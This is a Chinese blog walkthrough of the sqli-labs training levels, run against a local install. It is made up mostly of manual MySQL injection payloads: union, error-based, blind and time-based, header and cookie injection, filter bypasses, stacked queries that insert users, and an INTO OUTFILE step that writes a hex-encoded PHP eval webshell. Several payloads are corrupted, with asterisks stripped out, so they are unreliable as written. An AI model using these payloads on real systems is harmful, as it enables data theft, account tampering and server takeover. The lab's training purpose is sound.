溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

mysql手工如何注入詳解

發布時間:2020-04-26 15:10:25 來源:億速云 閱讀:367 作者:三月 欄目:安全技術

下文內容主要給大家帶來mysql手工如何注入詳解,這里所講到的知識,與書籍略有不同,都是億速云專業技術人員在與用戶接觸過程中,總結出來的,具有一定的經驗分享價值,希望給廣大讀者帶來幫助。

less-1(普通字符型)

http://127.0.0.1/sql/Less-1/?id=1

加’可知可能是字符型注入
mysql手工如何注入詳解
用and來確認
mysql手工如何注入詳解
mysql手工如何注入詳解
說明存在注入

order by查詢字段數
mysql手工如何注入詳解
mysql手工如何注入詳解
存在3個字段

union select查詢在頁面中顯示的位置
mysql手工如何注入詳解

查詢數據庫
mysql手工如何注入詳解
查詢表
mysql手工如何注入詳解
查字段
mysql手工如何注入詳解
mysql手工如何注入詳解

查內容
mysql手工如何注入詳解

less2(普通數值型)

數字型的

less3(帶括號字符型)

使用’可知可能是拼接型的字符型注入
mysql手工如何注入詳解
使用and判斷
mysql手工如何注入詳解
mysql手工如何注入詳解
確定是注入點
order by查詢字段數
mysql手工如何注入詳解
mysql手工如何注入詳解

less4(帶括號雙引號字符型)

使用’以及數值型無法判斷,使用%81也無法判斷,使用”發現可能是雙引號型的注入,并且是帶括號的
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
mysql手工如何注入詳解

less5(雙查詢型單引號)

使用’可知可能是字符型注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
初步確定注入
order by確定字段數
mysql手工如何注入詳解
union select查看頁面中顯示位置
mysql手工如何注入詳解
失敗,對于注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
mysql手工如何注入詳解
查詢表
mysql手工如何注入詳解
太多顯示不了,使用limit查詢
mysql手工如何注入詳解
mysql手工如何注入詳解
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -

' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
mysql手工如何注入詳解

less6(雙查詢型雙引號)

使用’以及數值型注入無法判斷,使用寬字節無法判斷,使用”進行判斷可知是雙引號型的字符注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select
mysql手工如何注入詳解
無返回顯示位,使用雙查詢注入
mysql手工如何注入詳解

less7(雙括號盲注mid,ascii,基于時間)

使用’以及數值型無法判斷,根據less2,猜測可能存在有括號的情況
mysql手工如何注入詳解
mysql手工如何注入詳解
嘗試把后面的一個and換成注釋,發現失敗
mysql手工如何注入詳解
猜測可能后面還有一個括號注釋不了
使用雙括號試試
mysql手工如何注入詳解
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解
使用union select
mysql手工如何注入詳解
沒有回顯,使用雙查詢注入失敗
mysql手工如何注入詳解
使用mid函數進行盲注
判斷數據庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -

LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符

查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -

查內容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
'))  and(ascii(substr((select(database())),8,1))>1)  and sleep(5) -- -
mysql手工如何注入詳解
可單獨使用
'))  and(ascii(substr((select(database())),8,1))>1)  -- -
mysql手工如何注入詳解
mysql手工如何注入詳解

less8(字符型盲注mid)

使用’以及and可知存在注入
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select不返回顯示位
使用雙查詢注入失敗
使用mid
mysql手工如何注入詳解
mysql手工如何注入詳解
數據庫總共有8個字符

less9(基于時間的盲注單引號)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷
mysql手工如何注入詳解
mysql手工如何注入詳解
帶’試試
mysql手工如何注入詳解
初步判斷為基于時間的盲注
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解

使用mid
mysql手工如何注入詳解
mysql手工如何注入詳解
使用ascii
'  and(ascii(substr((select(database())),9,1))>1)  and sleep(5) and '1'='1
mysql手工如何注入詳解

less10(基于時間的盲注雙引號)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據less4猜測可能是雙引號
mysql手工如何注入詳解
mysql手工如何注入詳解
使用mid
mysql手工如何注入詳解

less11(post 字符型)

獲取請求頭參數
mysql手工如何注入詳解
post注入
對uname進行注入探測
使用’判斷可能存在注入
mysql手工如何注入詳解
使用or進行進一步探測(主要是使用萬能語句來判斷,根據是否成功登陸,使用and的話想對麻煩點)
mysql手工如何注入詳解
mysql手工如何注入詳解
在使用and來進一步注入
mysql手工如何注入詳解
mysql手工如何注入詳解
常規字符注入
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

使用雙查詢
mysql手工如何注入詳解
使用mid
mysql手工如何注入詳解

less12(post 帶括號字符型)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
mysql手工如何注入詳解
使用or
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select
mysql手工如何注入詳解

less13(帶括號雙查詢)

使用’可知是字符型的,且是帶括號的
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select無返回顯示位
mysql手工如何注入詳解
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
mysql手工如何注入詳解

less14(雙查詢雙引號)

mysql手工如何注入詳解

less15(時間盲注,mid)

使用’ 以及 or 以及order by
mysql手工如何注入詳解
mysql手工如何注入詳解
union select不返回顯示位,雙查詢失敗
使用sleep試試
mysql手工如何注入詳解
mysql手工如何注入詳解

less16(時間盲注,mid,帶括號)

mysql手工如何注入詳解
mysql手工如何注入詳解

less17(顯錯注入)sqlmap掛

這里提示是密碼重置,應該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工如何注入詳解
mysql手工如何注入詳解
and extractvalue(1, concat(0x7f, (select version()),0x7f))
mysql手工如何注入詳解
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
mysql手工如何注入詳解
使用子查詢
' or (SELECT 1 FROM(SELECT count(
),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解

less18(user-agent顯錯,時間,子查詢)

通過頁面查看可知本題注入存在于http請求包里面(如果沒有提示的話就得先嘗試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
mysql手工如何注入詳解
使用and,or,無法進一步判斷,使用sleep進行嘗試
mysql手工如何注入詳解
mysql手工如何注入詳解

使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入詳解

less19(referer顯錯,時間,子查詢)

referer字段可能存在注入
使用’
mysql手工如何注入詳解
使用and or失敗,使用sleep
mysql手工如何注入詳解
mysql手工如何注入詳解
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入詳解

less20(cookie注入,雙查詢)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
union
mysql手工如何注入詳解

使用雙查詢
mysql手工如何注入詳解

less21(cookie注入,base64編碼)

可知cookie是通過base64編碼的
mysql手工如何注入詳解
使用’
mysql手工如何注入詳解

使用admin') and 1=1 -- -
mysql手工如何注入詳解
使用admin') and 1=2 -- -
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解
union
admin') and 1=2 union select 1,2,3 -- -
mysql手工如何注入詳解

less22(cookie注入,base64編碼,雙引號)

使用’以及數值型,以及寬字節均無法判斷,使用”可初步判斷
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
使用admin" and 1=2 union select 1,2,3-- -
mysql手工如何注入詳解
mysql手工如何注入詳解

less23(顯錯注入,子查詢)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解

使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工如何注入詳解
使用子查詢
'  and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
mysql手工如何注入詳解

less24(二次注入)

在登錄的地方,請求的地方均未發現存在有注入,登錄進去后發現有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發現重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統中存在有admin這個賬戶,此時我們注冊一個admin’ -- -的用戶,登錄進去后進行修改密碼,這里按理解應該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由于數據庫設置了用戶名長度,懶得改了,應該是可以使用顯錯注入的!

less25(字符注入,過濾一次and和or)

使用’
mysql手工如何注入詳解
使用and或or
mysql手工如何注入詳解
可知過濾了and和or關鍵字,使用大小寫失敗
mysql手工如何注入詳解
使用雙重嵌套,在and里面嵌套一個and
mysql手工如何注入詳解
mysql手工如何注入詳解
也可以使用&&的URL編碼%26%26
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解

less25a(數值型,過濾一次and和or)

使用’無法判斷,使用數值型可判斷
使用aandnd 1=1

less26(字符注入,過濾空格及注釋)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了空格以及注釋,以及上一關的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進行繞過!
不使用空格及注釋,使用&&或者||然后在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
mysql手工如何注入詳解
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
mysql手工如何注入詳解
但是如果想繼續往下查詢就會發現空格怎么都需要啊,因此使用其他字符的編碼進行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環境就沒有成功,通過對比可能是我mysql版本問題導致,因此根據自身環境來進行測試,為了忽略這個,因此后面的幾關凡是涉及到過濾空格的代碼我均進行注釋掉,你們只需要知道空格可以使用上面的編碼代替即可!

less26a(帶括號,不顯示mysql錯誤信息)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了and,注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
最后一個截圖我們可知查出來的依舊是id=1的數據,這里考慮可能存在括號
mysql手工如何注入詳解
帶上括號試試
mysql手工如何注入詳解
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進行猜測
mysql手工如何注入詳解
mysql手工如何注入詳解
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
mysql手工如何注入詳解

less27(顯錯注入,過濾)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
對于過濾了注釋,所以后面的’就不能注釋,所以可以考慮使用雙查詢以及報錯注入進行嘗試
使用雙查詢
mysql手工如何注入詳解
過濾了union select
使用嵌套
mysql手工如何注入詳解
過濾了*好,不能使用雙查詢,因此接著使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
mysql手工如何注入詳解
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進行嘗試
mysql手工如何注入詳解

less27a(待定,雙引號)

使用’以及數值型注入以及寬字節均無法進行判斷,使用雙引號進行判斷
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
過濾了注釋,使用雙查詢或顯錯注入進行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進行猜測
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

less28(過濾了union select,ascii模糊查詢)

使用'
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
可能存在有括號的情況
mysql手工如何注入詳解
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進行猜測
mysql手工如何注入詳解
過濾了union 和select,使用嵌套失敗
mysql手工如何注入詳解
過濾了union select以及后面的一個空格(使用%a0可進行繞過,借的圖)
mysql手工如何注入詳解
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
mysql手工如何注入詳解

less28a(過濾union select)

同28,但是可以使用注釋符
使用order by
mysql手工如何注入詳解
使用union select,同28
使用ascii
mysql手工如何注入詳解

less29(HPP)

使用’
mysql手工如何注入詳解
說明有一定的防護,此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進行下一步的嘗試
mysql手工如何注入詳解
使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解

less30(HPP,雙引號)

使用’說明有防護,編碼繞過失敗,使用HPP
mysql手工如何注入詳解
使用’以及數值型,寬字節型失敗,使用”
mysql手工如何注入詳解

less31(HPP,雙引號及括號)

同上探測
mysql手工如何注入詳解
說明帶括號雙引號
mysql手工如何注入詳解

less32(寬字節)

使用’
mysql手工如何注入詳解
從上面可以簡單看出本關使用寬字節,但是我們依舊按照上面的步驟進行,使用數值型無法判斷,使用寬字節(http://eth20.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
在查詢表的時候使用十六進制

less33

同上???

less34(寬字節,雙查詢)

使用’,使用數值型無法進行判斷,使用寬字節
mysql手工如何注入詳解
使用or
mysql手工如何注入詳解
mysql手工如何注入詳解
使用雙查詢
mysql手工如何注入詳解

less35(數值型)

使用’失敗
mysql手工如何注入詳解
使用數值型
mysql手工如何注入詳解
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解

less36

同32

less37

同34???

less38(堆疊查詢)

同1,另外就是可以使用;來進行多條語句的執行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
mysql手工如何注入詳解
mysql手工如何注入詳解

less39

同2

less40

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
不能使用注釋,或者說明后面可能還存在括號
mysql手工如何注入詳解
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基于時間的)
'  and(ascii(substr((select(database())),8,1))>1) and '1'='1
mysql手工如何注入詳解

');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
mysql手工如何注入詳解
mysql手工如何注入詳解

less41

同39
mysql手工如何注入詳解
mysql手工如何注入詳解

less42

用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -

less43

密碼:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -

less44

同42

less45

同43

less46(order by后的注入)

通過對比可知注入點是order by后面的參數
使用desc進行對比
mysql手工如何注入詳解
mysql手工如何注入詳解
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
mysql手工如何注入詳解
mysql手工如何注入詳解
下面這種對于limit后的注入依舊適用
mysql手工如何注入詳解
導出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php"  lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
mysql手工如何注入詳解
mysql手工如何注入詳解
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入詳解

less47

通46,只是是字符型的
'  procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
mysql手工如何注入詳解
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入詳解

less48

同46,不能使用顯錯可使用盲注
mysql手工如何注入詳解
使用rand
rand(ascii(left(database(),1))=116)
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

less49

同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -

對于以上關于mysql手工如何注入詳解,如果大家還有更多需要了解的可以持續關注我們億速云的行業推新,如需獲取專業解答,可在官網聯系售前售后的,希望該文章可給大家帶來一定的知識更新。

 

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女